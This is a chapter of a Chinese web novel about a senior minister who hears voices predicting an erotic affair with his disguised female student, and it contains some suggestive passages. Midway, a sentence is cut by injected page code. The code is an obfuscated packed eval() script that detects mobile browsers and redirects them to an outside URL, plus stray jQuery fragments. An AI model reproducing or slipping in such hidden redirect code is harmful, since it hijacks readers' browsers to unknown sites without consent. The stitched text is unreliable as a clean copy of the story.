裴玄衍端着茶杯的手陡然一颤,茶水险些倾洒而出。
周遭喧嚣如沸汤倾入寒江,刹那间归于岑寂,唯有他的心跳声清晰可闻。
他凝眸看向顾清嘉,察其神色,再将目光掠向周遭,心知方才的声响只有他听到了。
那声音分明是附在他耳畔响起的。
子不语怪力乱神,可这实非人力所能为。
他……中邪了不成?
裴玄衍低头抿了一口茶水,略微平复心情。
蓦地,耳际声音再度响起。
【顾清嘉面色潮红,咬着下唇含泪摇头:“师父,我受不住了。”
你搂着她将她翻过身去,轻咬她的后颈:“用你惯用的柳体默一遍《四种清净明诲》,何时写完,我何时停。”】
裴玄衍修长有力的指骨紧扣住茶杯,指节微微泛白。
他才收少年为弟子,这声音便……
是他中邪了,还是这是对未来的预示?
顾清嘉垂眸端肃而立,却久久未闻回音。
“师父?”她眼睫微抬,轻声道。
这一声唤得裴玄衍回过神来,抬眸看向眼前的少年。
那声音提到了《四种清净明诲》,这篇佛经不算冷门,可若非虔诚的佛教徒,能全篇默写的人少之又少。
究竟是臆想还是预示,姑且试探一下。
他嗓音喑哑道:“你可会默写《四种清净明诲》?”
顾清嘉微微一怔,《四种清净明诲》出自《楞严经》,意在告诫世人断淫、断杀、断偷、断妄。
他为何要问她会不会默写这篇佛经?许是在提点她,这是他对弟子的要求。
巧的是,她恰好会默写。
她刚穿来时不过九岁,尚未展露带领侯府由武转文的潜力,说动武安侯助她女扮男装。
继母为了磋磨她,以祈福为由,压着她抄了不少佛经。
其中《四种清净明诲》更是抄过不下百遍。
“回师父,我能全篇默写。”她唇边漾起微不可察的笑意。
师父给她的第一个考验,她便能完成得这么好,他应该会很满意她这个徒弟吧。
她的话如一盆冷水当头浇下,裴玄衍呼吸一滞,指尖漫上凉意,右手低垂下去,拢于宽大衣袖中。
凤眼菩提念珠顺着手腕滑落,被他紧攥于手心。
顾清嘉抬眸看向他,不知为何,从他看似平静的神情中读出几分“天塌了”的意味。
应当只是她的错觉吧。
裴玄衍眼眸微凝:“那便默一遍吧,用你惯用的字体。”
顾清嘉思忖道,是想看看她的字写得如何么?她恭敬地回了一句:“是,师父。”
言讫,她正准备走向旁边的一个石桌,已有下人手脚麻利地搬来桌椅,铺纸研墨,就差把毛笔塞到她手里了。
她活动了一下有些发僵的手腕,垂下眼眸,提笔挥毫。
她从前都是用柳体写字,数月前骑射时不慎伤了腕骨,难以写出柳体的铁画银钩,只能暂时换了书体。
裴玄衍悄然行至她身后,视线拂过宣纸上的字迹,缓吐出一口气。
不是柳体,且字体灵动飘逸,与骨力遒劲、冷峻疏朗的柳体大相径庭。
那不堪入耳之语仍在耳畔回荡——
“用你惯用的柳体写一遍《四种清净明诲》,何时写完了,我何时停。”
万幸那只是虚妄,并非真实。
一个人惯用的书体是不会轻易变动的,他这个弟子会默写《四种清净明诲》,大抵只是巧合。
他眉梢轻展,声线如碎玉掷盘,语调却温和:“笔势气韵生动,不错。不必再写了,你且退下吧。”
顾清嘉将毛笔搁在笔架上,依言退下。
裴玄衍缓步行至上首,整袖落座。
他拨动手中珠串,思索是不是该寻个大夫,问一问他这是得了什么病症,为何会听到那般……淫靡的声音。
却听见身旁的人笑道:“敢问阁老,方才顾世子写的可是柳体?听闻他一手柳体,炉火纯青,不愧是阁老的弟子。”
裴玄衍拨动念珠的动作一顿。
……
诗会落幕时已近黄昏,众人将写好的诗词呈递上去,恭送裴玄衍离席后,相继退场。
夕照霞光下秋景灼灼,顾清嘉沿着林荫小道向山麓走去,复盘了一下方才拜师的过程,发现并无大的疏漏。
她与裴玄衍的师徒之谊,也算是有了一个良好的开端。
伴随着一声骏马的嘶鸣,车轮声由远及近。
她微微抬眼,一辆带着裴府标识的马车蓦然闯入她眼帘,微风拂过,銮铃轻响。
修长如玉的手掀起车帘,裴玄衍嗓音如深谷幽泉:“上车吧,我送你回府。”
顾清嘉微微一怔,依言上车,抬眸望去,端坐于车内的人一袭月白色云纹刻丝锦袍,面如冠玉,凤眸疏冷,气质清如皎月。
见她望过来,他神情沉静,波澜不惊。
帷幔在她身后落下,车厢内立时昏暗下去。她踩着柔软的佛头青缠枝莲纹绒毯,走到裴玄衍身旁坐下。
蹄声悠扬,马车向前驶去。裴玄衍轻声问道:“你惯用的书体是柳体?方才为何不用?”
虽不明白他问这个做什么,但顾清嘉还是恭敬答道:“回师父,我的确惯用柳体,因腕上有伤才暂时弃之不用。等伤痊愈了,便能将柳体重新拾起。”
裴玄衍眉峰轻敛,似湖面泛起波澜,睫羽凝上一层寒霜。
一次是巧合,两次呢?
那声音可能真的是对未来的预示。
他收下这个弟子,究竟是对是错?
察觉到他面色有些不好,顾清嘉思索了片刻,没觉得自己有哪句话说的不对,索性便不想了。
裴玄衍心绪翻涌,微阖双目,再睁眼时,眸中却是一片清明。
只要他恪守师道,谁还能强逼着他抱弟子上榻不成?
他绝非断袖。
他侧首,目光触及顾清嘉的面容。
风卷起半边车帘,天边余霞成绮,少年风姿卓绝,眉宇间一派凌然清气。
这样一个人绝无可能雌伏,谁能摧折他,谁又忍心摧折他?
他自认心迹双清,问心无愧。
心念乍宽,裴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722991|173910||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玄衍从车厢正中的檀木小几上执起茶壶,骨节分明的手在青白壶身映衬下犹如冷玉:“润润喉吧,不必拘礼。”
壶嘴倾斜,茶水如注,茶香丝丝缕缕地氤氲开来。
目光交错间,他将茶盏递给顾清嘉,动作带着疏离的清寒。
“多谢师父。”顾清嘉朝裴玄衍身边挪了半寸,略微倾身,接过茶盏。
他衣袖起伏间,清冽如霜雪的气息沁入她鼻端,比茶香还要清雅。
恰在此时,车身骤然颠簸。她旧伤未愈的手腕在突如其来的晃动下猛地一抖,杯中茶水瞬间泼洒出来,将她淋了个通透。
仲秋时节,天气渐凉,温热的茶水接触到衣裳,刹那间冷却下来,丝丝凉意直往骨子里钻,她轻颤了一下,连忙掏出帕子擦拭。
裴玄衍眸光淡淡掠过她湿透的衣衫,很快收敛视线。
他命车夫停车,从坐椅下的箱笼里取出衣服递给她,眼睫微垂,目不斜视地道:“这是我的衣裳,未必合身,你姑且换上吧。”
言讫,他起身去车外回避。
车厢内只剩顾清嘉一人。
虽说她的胸不是白束的,勒得那般紧,纵然只隔着薄薄一层里衣,也不会被人看出端倪,但为了安全起见,她还是将车帘拉得严严实实。
随手将腰带撂到一旁,她脱下外袍,把裴玄衍宽大的月白色衣袍裹在了半湿的里衣上。
裴玄衍回到车厢时,顾清嘉正垂眸束紧腰带,袖口中探出半截的手指恍若美玉,腰肢不堪一握,他匆忙避开视线。
端坐着的人个子高挑,身形却清瘦,肩和腰身要比他窄得多。他的衣服罩在其身上,有些过分地不合身了。
马车辘辘向前,顾清嘉低头整理衣襟,露出一段弧度极为优美的后颈:“我会尽快将衣裳归还给师父。”
裴玄衍微一颔首,从桌上端起茶杯,低头啜饮了一口茶水。
车厢内的氛围一时间陷入沉寂。
“师父,不知柳体可有何特殊之处?”顾清嘉问道,似乎涉及到书体,她这个师父便变得有些奇怪。
裴玄衍微怔,用茶盖轻撇去茶沫,指节抵着杯沿静了须臾,眼眸轻垂间声音落得极淡:“并无特殊之处。”
他顿了顿,又道:“科举时需要书写的文章动辄千字,你的手腕……”
顾清嘉按了按右手手腕,唇角微微上扬:“谢师父挂怀,我的腕伤已经恢复得差不多了,而且我用左手也能写字。”
她抬手抚平衣襟褶皱。
裴玄衍目光无意间落在她身上。
忽地,声音再度于他耳畔响起。
【顾清嘉锁骨上有一颗嫣红的小痣,情动时尤为动人。
你爱煞了这处,厮磨啃噬,激得她颤抖流泪。】
裴玄衍眸光一滞。
宽大的衣袍松松垮垮地挂在少年身上,平日被紧紧包裹的部位半遮半掩地露了出来,白得晃人眼。
光洁如玉的肌肤上,一颗嫣红的小痣若隐若现,像开至荼蘼的花儿被碾碎了揉进骨肉里。
声音落到实处有了具象的画面……
而少年眸光澄澈,一无所觉。